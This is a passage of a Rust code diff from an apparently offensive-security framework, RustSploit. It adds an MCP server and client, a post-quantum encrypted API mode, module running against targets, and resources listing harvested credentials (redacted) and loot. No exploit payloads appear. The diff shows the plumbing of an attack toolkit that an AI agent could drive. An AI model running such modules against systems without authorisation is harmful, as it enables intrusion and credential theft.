|
||||
/// Convenience function for modules to store loot.
|
||||
pub async fn store_loot(
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
data: &[u8],
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
LOOT_STORE.add(host, loot_type, description, data, source_module).await
|
||||
}
|
||||
+130
-84
@@ -1,6 +1,9 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use clap::Parser;
|
||||
use colored::*;
|
||||
use std::net::SocketAddr;
|
||||
use std::process;
|
||||
use tracing_subscriber::EnvFilter;
|
||||
|
||||
mod cli;
|
||||
mod shell;
|
||||
@@ -9,138 +12,181 @@ mod modules;
|
||||
mod utils;
|
||||
mod api;
|
||||
mod config;
|
||||
mod context;
|
||||
mod native;
|
||||
pub mod output;
|
||||
pub mod module_info;
|
||||
pub mod global_options;
|
||||
pub mod cred_store;
|
||||
pub mod spool;
|
||||
pub mod workspace;
|
||||
pub mod loot;
|
||||
pub mod export;
|
||||
pub mod jobs;
|
||||
pub mod mcp;
|
||||
pub mod pq_channel;
|
||||
pub mod pq_middleware;
|
||||
|
||||
/// Maximum length for API key to prevent memory exhaustion
|
||||
const MAX_API_KEY_LENGTH: usize = 256;
|
||||
|
||||
/// Maximum length for interface/bind address
|
||||
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
|
||||
|
||||
/// Maximum IP limit for hardening mode
|
||||
const MAX_IP_LIMIT: u32 = 10000;
|
||||
|
||||
/// Validates the bind address format for security
|
||||
/// Validates the bind address format
|
||||
fn validate_bind_address(addr: &str) -> Result<String> {
|
||||
let trimmed = addr.trim();
|
||||
|
||||
// Length check
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Bind address cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Bind address too long (max {} characters)",
|
||||
MAX_BIND_ADDRESS_LENGTH
|
||||
));
|
||||
return Err(anyhow!("Bind address too long (max {} characters)", MAX_BIND_ADDRESS_LENGTH));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Bind address cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Add port if missing
|
||||
|
||||
let with_port = if trimmed.contains(':') {
|
||||
trimmed.to_string()
|
||||
} else {
|
||||
format!("{}:8080", trimmed)
|
||||
};
|
||||
|
||||
// Validate socket address format
|
||||
with_port.parse::<SocketAddr>()
|
||||
|
||||
with_port
|
||||
.parse::<SocketAddr>()
|
||||
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
|
||||
|
||||
|
||||
Ok(with_port)
|
||||
}
|
||||
|
||||
/// Validates API key format for security
|
||||
fn validate_api_key(key: &str) -> Result<String> {
|
||||
let trimmed = key.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("API key cannot be empty"));
|
||||
/// Returns the path to the PQ host key file.
|
||||
fn pq_host_key_path(custom: Option<&str>) -> std::path::PathBuf {
|
||||
if let Some(p) = custom {
|
||||
std::path::PathBuf::from(p)
|
||||
} else {
|
||||
home::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("pq_host_key")
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_API_KEY_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"API key too long (max {} characters)",
|
||||
MAX_API_KEY_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Only allow printable ASCII characters
|
||||
if !trimmed.chars().all(|c| c.is_ascii_graphic()) {
|
||||
return Err(anyhow!("API key must contain only printable ASCII characters"));
|
||||
}
|
||||
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
/// Validates IP limit for hardening mode
|
||||
fn validate_ip_limit(limit: u32) -> Result<u32> {
|
||||
if limit == 0 {
|
||||
return Err(anyhow!("IP limit must be greater than 0"));
|
||||
/// Returns the path to the PQ authorized keys file.
|
||||
fn pq_authorized_keys_path(custom: Option<&str>) -> std::path::PathBuf {
|
||||
if let Some(p) = custom {
|
||||
std::path::PathBuf::from(p)
|
||||
} else {
|
||||
home::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("pq_authorized_keys")
|
||||
}
|
||||
|
||||
if limit > MAX_IP_LIMIT {
|
||||
return Err(anyhow!(
|
||||
"IP limit too high (max {})",
|
||||
MAX_IP_LIMIT
|
||||
));
|
||||
}
|
||||
|
||||
Ok(limit)
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
async fn main() {
|
||||
if let Err(e) = run().await {
|
||||
eprintln!("{} {}", "❌".red(), e);
|
||||
process::exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
async fn run() -> Result<()> {
|
||||
// Initialize structured logging
|
||||
let filter = if std::env::var("RUST_LOG").is_ok() {
|
||||
EnvFilter::from_default_env()
|
||||
} else {
|
||||
EnvFilter::new("warn")
|
||||
};
|
||||
tracing_subscriber::fmt()
|
||||
.with_env_filter(filter)
|
||||
.with_target(false)
|
||||
.init();
|
||||
|
||||
let cli_args = cli::Cli::parse();
|
||||
|
||||
// Check if API mode is requested
|
||||
if cli_args.api {
|
||||
let api_key_raw = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
|
||||
// Validate API key
|
||||
let api_key = validate_api_key(&api_key_raw)
|
||||
.context("Invalid API key")?;
|
||||
tracing::debug!("CLI arguments parsed successfully");
|
||||
|
||||
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
|
||||
|
||||
// Validate and normalize bind address
|
||||
let bind_address = validate_bind_address(&interface)
|
||||
.context("Invalid bind address")?;
|
||||
|
||||
let harden = cli_args.harden;
|
||||
|
||||
// Validate IP limit
|
||||
let ip_limit_raw = cli_args.ip_limit.unwrap_or(10);
|
||||
let ip_limit = validate_ip_limit(ip_limit_raw)
|
||||
.context("Invalid IP limit")?;
|
||||
|
||||
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
|
||||
// Handle list_modules flag
|
||||
if cli_args.list_modules {
|
||||
tracing::debug!("Listing all modules...");
|
||||
utils::list_all_modules();
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// API server mode — PQ-encrypted, no TLS, no API keys
|
||||
if cli_args.api {
|
||||
let host_key_path = pq_host_key_path(cli_args.pq_host_key.as_deref());
|
||||
let auth_keys_path = pq_authorized_keys_path(cli_args.pq_authorized_keys.as_deref());
|
||||
|
||||
let interface = cli_args.interface.clone().unwrap_or_else(|| "127.0.0.1".to_string());
|
||||
let bind_address = validate_bind_address(&interface).context("Invalid bind address")?;
|
||||
|
||||
tracing::debug!("Starting PQ-encrypted API server on {}...", bind_address);
|
||||
api::start_api_server(
|
||||
&bind_address,
|
||||
cli_args.verbose,
|
||||
&host_key_path,
|
||||
&auth_keys_path,
|
||||
)
|
||||
.await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// MCP server mode
|
||||
if cli_args.mcp {
|
||||
tracing::debug!("Starting MCP server on stdio...");
|
||||
mcp::run_mcp_server().await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate target if provided
|
||||
if let Some(ref target) = cli_args.target {
|
||||
if let Err(e) = utils::normalize_target(target) {
|
||||
return Err(anyhow!("Invalid target '{}': {}", target, e));
|
||||
}
|
||||
}
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
// Target validation is done in config::set_target
|
||||
tracing::debug!("Setting global target to: {}", target);
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("✓ Global target set to: {}", target);
|
||||
println!("{} Global target set to: {}", "✓".green(), target);
|
||||
}
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
// Handle subcommands from CLI
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
tracing::debug!("Executing subcommand: {}", cmd);
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
}
|
||||
// Otherwise, launch the interactive shell
|
||||
// Run module directly if both -m and -t are provided
|
||||
else if let Some(ref module) = cli_args.module {
|
||||
if let Some(ref target) = cli_args.target {
|
||||
tracing::debug!("Running module '{}' against '{}'", module, target);
|
||||
commands::run_module(module, target, cli_args.verbose).await?;
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
let target = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
|
||||
tracing::debug!("Running module '{}' against global target '{}'", module, target);
|
||||
commands::run_module(module, &target, cli_args.verbose).await?;
|
||||
} else {
|
||||
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
|
||||
tracing::debug!("Launching interactive shell...");
|
||||
if let Some(ref rc) = cli_args.resource {
|
||||
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
|
||||
} else {
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Launch interactive shell
|
||||
else {
|
||||
shell::interactive_shell().await?;
|
||||
tracing::debug!("Launching interactive shell...");
|
||||
if let Some(ref rc) = cli_args.resource {
|
||||
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
|
||||
} else {
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
// test comment
|
||||
|
||||
@@ -0,0 +1,212 @@
|
||||
use std::process::Stdio;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use serde_json::{json, Value};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::process::{Child, ChildStdin, ChildStdout, Command};
|
||||
|
||||
/// MCP client that communicates with an external MCP server over stdio JSON-RPC.
|
||||
pub struct McpClient {
|
||||
child: Child,
|
||||
stdin: ChildStdin,
|
||||
stdout: BufReader<ChildStdout>,
|
||||
next_id: u64,
|
||||
}
|
||||
|
||||
impl McpClient {
|
||||
/// Spawn an MCP server subprocess and prepare for JSON-RPC communication.
|
||||
pub async fn connect(command: &str, args: &[&str]) -> Result<Self> {
|
||||
let mut child = Command::new(command)
|
||||
.args(args)
|
||||
.stdin(Stdio::piped())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::inherit())
|
||||
.spawn()
|
||||
.with_context(|| format!("Failed to spawn MCP server: {} {:?}", command, args))?;
|
||||
|
||||
let stdin = child
|
||||
.stdin
|
||||
.take()
|
||||
.context("Failed to capture child stdin")?;
|
||||
let stdout_raw = child
|
||||
.stdout
|
||||
.take()
|
||||
.context("Failed to capture child stdout")?;
|
||||
let stdout = BufReader::new(stdout_raw);
|
||||
|
||||
Ok(Self {
|
||||
child,
|
||||
stdin,
|
||||
stdout,
|
||||
next_id: 1,
|
||||
})
|
||||
}
|
||||
|
||||
/// Send the `initialize` handshake and return the server capabilities.
|
||||
pub async fn initialize(&mut self) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"initialize",
|
||||
Some(json!({
|
||||
"protocolVersion": "2024-11-05",
|
||||
"capabilities": {},
|
||||
"clientInfo": {
|
||||
"name": "rustsploit-mcp-client",
|
||||
"version": env!("CARGO_PKG_VERSION")
|
||||
}
|
||||
})),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// List all tools offered by the remote server.
|
||||
pub async fn list_tools(&mut self) -> Result<Vec<Value>> {
|
||||
let id = self.next_id();
|
||||
let result = send_request(&mut self.stdin, &mut self.stdout, id, "tools/list", None).await?;
|
||||
let tools = result
|
||||
.get("tools")
|
||||
.and_then(|v| v.as_array())
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
Ok(tools)
|
||||
}
|
||||
|
||||
/// Call a tool on the remote server (30s timeout).
|
||||
pub async fn call_tool(&mut self, name: &str, args: Value) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
tokio::time::timeout(
|
||||
std::time::Duration::from_secs(30),
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"tools/call",
|
||||
Some(json!({
|
||||
"name": name,
|
||||
"arguments": args
|
||||
})),
|
||||
),
|
||||
)
|
||||
.await
|
||||
.context("MCP tool call timed out after 30s")?
|
||||
}
|
||||
|
||||
/// List all resources offered by the remote server.
|
||||
pub async fn list_resources(&mut self) -> Result<Vec<Value>> {
|
||||
let id = self.next_id();
|
||||
let result =
|
||||
send_request(&mut self.stdin, &mut self.stdout, id, "resources/list", None).await?;
|
||||
let resources = result
|
||||
.get("resources")
|
||||
.and_then(|v| v.as_array())
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
Ok(resources)
|
||||
}
|
||||
|
||||
/// Read a resource by URI from the remote server.
|
||||
pub async fn read_resource(&mut self, uri: &str) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"resources/read",
|
||||
Some(json!({ "uri": uri })),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// Shut down the MCP server subprocess gracefully.
|
||||
pub async fn close(mut self) -> Result<()> {
|
||||
// Drop stdin to signal EOF to the child process
|
||||
drop(self.stdin);
|
||||
// Wait for the child to exit (with a timeout to avoid indefinite hangs)
|
||||
let _ = tokio::time::timeout(std::time::Duration::from_secs(5), self.child.wait()).await;
|
||||
// If it didn't exit, kill it
|
||||
let _ = self.child.kill().await;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn next_id(&mut self) -> u64 {
|
||||
let id = self.next_id;
|
||||
self.next_id += 1;
|
||||
id
|
||||
}
|
||||
}
|
||||
|
||||
/// Send a JSON-RPC 2.0 request and read the response.
|
||||
async fn send_request(
|
||||
stdin: &mut ChildStdin,
|
||||
stdout: &mut BufReader<ChildStdout>,
|
||||
id: u64,
|
||||
method: &str,
|
||||
params: Option<Value>,
|
||||
) -> Result<Value> {
|
||||
// Build the JSON-RPC request object
|
||||
let mut request = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"id": id,
|
||||
"method": method,
|
||||
});
|
||||
if let Some(p) = params {
|
||||
if let Some(obj) = request.as_object_mut() {
|
||||
obj.insert("params".to_string(), p);
|
||||
}
|
||||
}
|
||||
|
||||
// Serialize and send as a single line
|
||||
let line = serde_json::to_string(&request).context("Failed to serialize JSON-RPC request")?;
|
||||
stdin
|
||||
.write_all(line.as_bytes())
|
||||
.await
|
||||
.context("Failed to write to child stdin")?;
|
||||
stdin
|
||||
.write_all(b"\n")
|
||||
.await
|
||||
.context("Failed to write newline")?;
|
||||
stdin.flush().await.context("Failed to flush child stdin")?;
|
||||
|
||||
// Read response lines until we get one with a matching id.
|
||||
// Servers may emit notifications (no id) interleaved with responses.
|
||||
let mut buf = String::new();
|
||||
loop {
|
||||
buf.clear();
|
||||
let n = stdout
|
||||
.read_line(&mut buf)
|
||||
.await
|
||||
.context("Failed to read from child stdout")?;
|
||||
if n == 0 {
|
||||
anyhow::bail!("MCP server closed stdout before responding to request {}", id);
|
||||
}
|
||||
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let response: Value =
|
||||
serde_json::from_str(trimmed).context("Failed to parse JSON-RPC response")?;
|
||||
|
||||
// Check if this is a response (has "id") matching our request
|
||||
if let Some(resp_id) = response.get("id") {
|
||||
if resp_id.as_u64() == Some(id) {
|
||||
// Check for error
|
||||
if let Some(error) = response.get("error") {
|
||||
let msg = error
|
||||
.get("message")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("Unknown error");
|
||||
let code = error.get("code").and_then(|v| v.as_i64()).unwrap_or(-1);
|
||||
anyhow::bail!("MCP server error (code {}): {}", code, msg);
|
||||
}
|
||||
// Return the result field
|
||||
return Ok(response.get("result").cloned().unwrap_or(Value::Null));
|
||||
}
|
||||
}
|
||||
// Not our response (notification or different id) -- skip and keep reading
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
pub mod types;
|
||||
pub mod server;
|
||||
pub mod tools;
|
||||
pub mod resources;
|
||||
pub mod client;
|
||||
|
||||
pub use server::run_mcp_server;
|
||||
@@ -0,0 +1,249 @@
|
||||
use serde_json::json;
|
||||
|
||||
use super::types::{Resource, ResourceContent};
|
||||
|
||||
/// Return the list of all resources exposed by this MCP server.
|
||||
pub fn all_resources() -> Vec<Resource> {
|
||||
vec![
|
||||
Resource {
|
||||
uri: "rustsploit:///modules".into(),
|
||||
name: "Module Catalog".into(),
|
||||
description: "Full list of available modules with info() metadata where available".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///workspace".into(),
|
||||
name: "Current Workspace".into(),
|
||||
description: "Current workspace data including tracked hosts and services".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///credentials".into(),
|
||||
name: "Credentials".into(),
|
||||
description: "Credential list with secrets redacted (first 3 chars + ***)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///loot".into(),
|
||||
name: "Loot Catalog".into(),
|
||||
description: "Loot entry metadata (no file content, just index data)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///options".into(),
|
||||
name: "Global Options".into(),
|
||||
description: "Persistent global options (setg key-value pairs)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///target".into(),
|
||||
name: "Current Target".into(),
|
||||
description: "Current global target, size, and subnet status".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///status".into(),
|
||||
name: "Framework Status".into(),
|
||||
description: "Summary: module count, workspace name, host count, credential count, loot count".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
/// Read a resource by URI.
|
||||
pub async fn read_resource(uri: &str) -> ResourceContent {
|
||||
match uri {
|
||||
"rustsploit:///modules" => read_modules().await,
|
||||
"rustsploit:///workspace" => read_workspace().await,
|
||||
"rustsploit:///credentials" => read_credentials().await,
|
||||
"rustsploit:///loot" => read_loot().await,
|
||||
"rustsploit:///options" => read_options().await,
|
||||
"rustsploit:///target" => read_target(),
|
||||
"rustsploit:///status" => read_status().await,
|
||||
_ => ResourceContent {
|
||||
uri: uri.to_string(),
|
||||
mime_type: "text/plain".into(),
|
||||
text: format!("Unknown resource: {}", uri),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Individual resource readers
|
||||
// ===========================================================================
|
||||
|
||||
async fn read_modules() -> ResourceContent {
|
||||
let modules = crate::commands::discover_modules();
|
||||
|
||||
// Build a catalog entry for each module, including info() metadata when available
|
||||
let catalog: Vec<serde_json::Value> = modules
|
||||
.iter()
|
||||
.map(|path| {
|
||||
let info = crate::commands::module_info(path);
|
||||
match info {
|
||||
Some(i) => json!({
|
||||
"path": path,
|
||||
"name": i.name,
|
||||
"description": i.description,
|
||||
"authors": i.authors,
|
||||
"references": i.references,
|
||||
"disclosure_date": i.disclosure_date,
|
||||
"rank": format!("{}", i.rank),
|
||||
}),
|
||||
None => json!({
|
||||
"path": path,
|
||||
}),
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&catalog).unwrap_or_else(|_| "[]".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///modules".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_workspace() -> ResourceContent {
|
||||
let name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let data = crate::workspace::WORKSPACE.get_data().await;
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"workspace": name,
|
||||
"hosts": data.hosts,
|
||||
"services": data.services,
|
||||
}))
|
||||
.unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///workspace".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_credentials() -> ResourceContent {
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
|
||||
// Redact secrets: show first 3 characters then ***
|
||||
let redacted: Vec<serde_json::Value> = creds
|
||||
.iter()
|
||||
.map(|c| {
|
||||
let redacted_secret = if c.secret.len() > 3 {
|
||||
format!("{}***", &c.secret[..3])
|
||||
} else {
|
||||
"***".into()
|
||||
};
|
||||
json!({
|
||||
"id": c.id,
|
||||
"host": c.host,
|
||||
"port": c.port,
|
||||
"service": c.service,
|
||||
"username": c.username,
|
||||
"secret": redacted_secret,
|
||||
"cred_type": format!("{}", c.cred_type),
|
||||
"source_module": c.source_module,
|
||||
"timestamp": c.timestamp,
|
||||
"valid": c.valid,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&redacted).unwrap_or_else(|_| "[]".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///credentials".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_loot() -> ResourceContent {
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
|
||||
// Return metadata only (no file content)
|
||||
let entries: Vec<serde_json::Value> = loot
|
||||
.iter()
|
||||
.map(|l| {
|
||||
json!({
|
||||
"id": l.id,
|
||||
"host": l.host,
|
||||
"loot_type": l.loot_type,
|
||||
"filename": l.filename,
|
||||
"description": l.description,
|
||||
"source_module": l.source_module,
|
||||
"timestamp": l.timestamp,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&entries).unwrap_or_else(|_| "[]".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///loot".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_options() -> ResourceContent {
|
||||
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
|
||||
|
||||
let text = serde_json::to_string_pretty(&opts).unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///options".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
fn read_target() -> ResourceContent {
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let size = crate::config::GLOBAL_CONFIG.get_target_size();
|
||||
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"target": target,
|
||||
"size": size,
|
||||
"is_subnet": is_subnet,
|
||||
}))
|
||||
.unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///target".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_status() -> ResourceContent {
|
||||
// Use get_data() for a single lock acquisition instead of separate hosts()/services() calls
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let ws_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
let cred_count = crate::cred_store::CRED_STORE.list().await.len();
|
||||
let loot_count = crate::loot::LOOT_STORE.list().await.len();
|
||||
let module_count = crate::commands::discover_modules().len();
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let job_count = crate::jobs::JOB_MANAGER.list().len();
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"module_count": module_count,
|
||||
"workspace": workspace_name,
|
||||
"host_count": ws_data.hosts.len(),
|
||||
"service_count": ws_data.services.len(),
|
||||
"credential_count": cred_count,
|
||||
"loot_count": loot_count,
|
||||
"active_jobs": job_count,
|
||||
"target": target,
|
||||
}))
|
||||
.unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///status".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
use anyhow::Context;
|
||||
use serde_json::Value;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
||||
|
||||
use super::types::{
|
||||
InitializeResult, JsonRpcRequest, JsonRpcResponse, ServerCapabilities, ServerInfo,
|
||||
ResourcesCapability, ToolsCapability,
|
||||
};
|
||||
|
||||
/// Run the MCP server over newline-delimited JSON on stdio.
|
||||
///
|
||||
/// * **stdin** — reads one JSON-RPC 2.0 request per line.
|
||||
/// * **stdout** — writes one JSON-RPC 2.0 response per line.
|
||||
/// * **stderr** — diagnostic logging (stdout is the protocol channel).
|
||||
pub async fn run_mcp_server() -> anyhow::Result<()> {
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut stdout = tokio::io::stdout();
|
||||
let mut reader = BufReader::new(stdin);
|
||||
let mut line = String::new();
|
||||
|
||||
eprintln!("[MCP] RustSploit MCP server started (stdio transport)");
|
||||
|
||||
loop {
|
||||
line.clear();
|
||||
let n = reader
|
||||
.read_line(&mut line)
|
||||
.await
|
||||
.context("failed to read from stdin")?;
|
||||
if n == 0 {
|
||||
// EOF — client closed the pipe.
|
||||
eprintln!("[MCP] stdin closed, shutting down");
|
||||
break;
|
||||
}
|
||||
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let request: JsonRpcRequest = match serde_json::from_str(trimmed) {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
eprintln!("[MCP] parse error: {}", e);
|
||||
let resp = JsonRpcResponse::error(None, -32700, format!("Parse error: {}", e));
|
||||
write_response(&mut stdout, &resp).await?;
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
eprintln!("[MCP] <- method={}", request.method);
|
||||
|
||||
let response = handle_request(request).await;
|
||||
if let Some(resp) = response {
|
||||
write_response(&mut stdout, &resp).await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Serialize a response as a single JSON line on stdout.
|
||||
/// Combines serialization + newline into one write to minimize syscalls.
|
||||
async fn write_response(
|
||||
stdout: &mut tokio::io::Stdout,
|
||||
resp: &JsonRpcResponse,
|
||||
) -> anyhow::Result<()> {
|
||||
let mut json = serde_json::to_vec(resp).context("failed to serialize response")?;
|
||||
json.push(b'\n');
|
||||
stdout.write_all(&json).await.context("failed to write response")?;
|
||||
stdout.flush().await.context("failed to flush stdout")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Route a parsed request to the appropriate handler.
|
||||
async fn handle_request(req: JsonRpcRequest) -> Option<JsonRpcResponse> {
|
||||
match req.method.as_str() {
|
||||
"initialize" => Some(handle_initialize(req.id)),
|
||||
"initialized" => {
|
||||
// Notification — no response.
|
||||
eprintln!("[MCP] Client initialized");
|
||||
None
|
||||
}
|
||||
"tools/list" => Some(handle_tools_list(req.id)),
|
||||
"tools/call" => Some(handle_tools_call(req.id, req.params).await),
|
||||
"resources/list" => Some(handle_resources_list(req.id)),
|
||||
"resources/read" => Some(handle_resources_read(req.id, req.params).await),
|
||||
other => Some(JsonRpcResponse::error(
|
||||
req.id,
|
||||
-32601,
|
||||
format!("Method not found: {}", other),
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Handler implementations
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn handle_initialize(id: Option<Value>) -> JsonRpcResponse {
|
||||
let result = InitializeResult {
|
||||
protocol_version: "2024-11-05".to_string(),
|
||||
capabilities: ServerCapabilities {
|
||||
tools: Some(ToolsCapability {}),
|
||||
resources: Some(ResourcesCapability {}),
|
||||
},
|
||||
server_info: ServerInfo {
|
||||
name: "rustsploit-mcp".to_string(),
|
||||
version: env!("CARGO_PKG_VERSION").to_string(),
|
||||
},
|
||||
};
|
||||
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, v),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_tools_list(id: Option<Value>) -> JsonRpcResponse {
|
||||
let tools = super::tools::all_tools();
|
||||
match serde_json::to_value(&tools) {
|
||||
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "tools": v })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_tools_call(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
|
||||
let (name, arguments) = match extract_tool_call_params(¶ms) {
|
||||
Ok(pair) => pair,
|
||||
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
|
||||
};
|
||||
|
||||
let result = super::tools::call_tool(&name, arguments).await;
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, v),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_resources_list(id: Option<Value>) -> JsonRpcResponse {
|
||||
let resources = super::resources::all_resources();
|
||||
match serde_json::to_value(&resources) {
|
||||
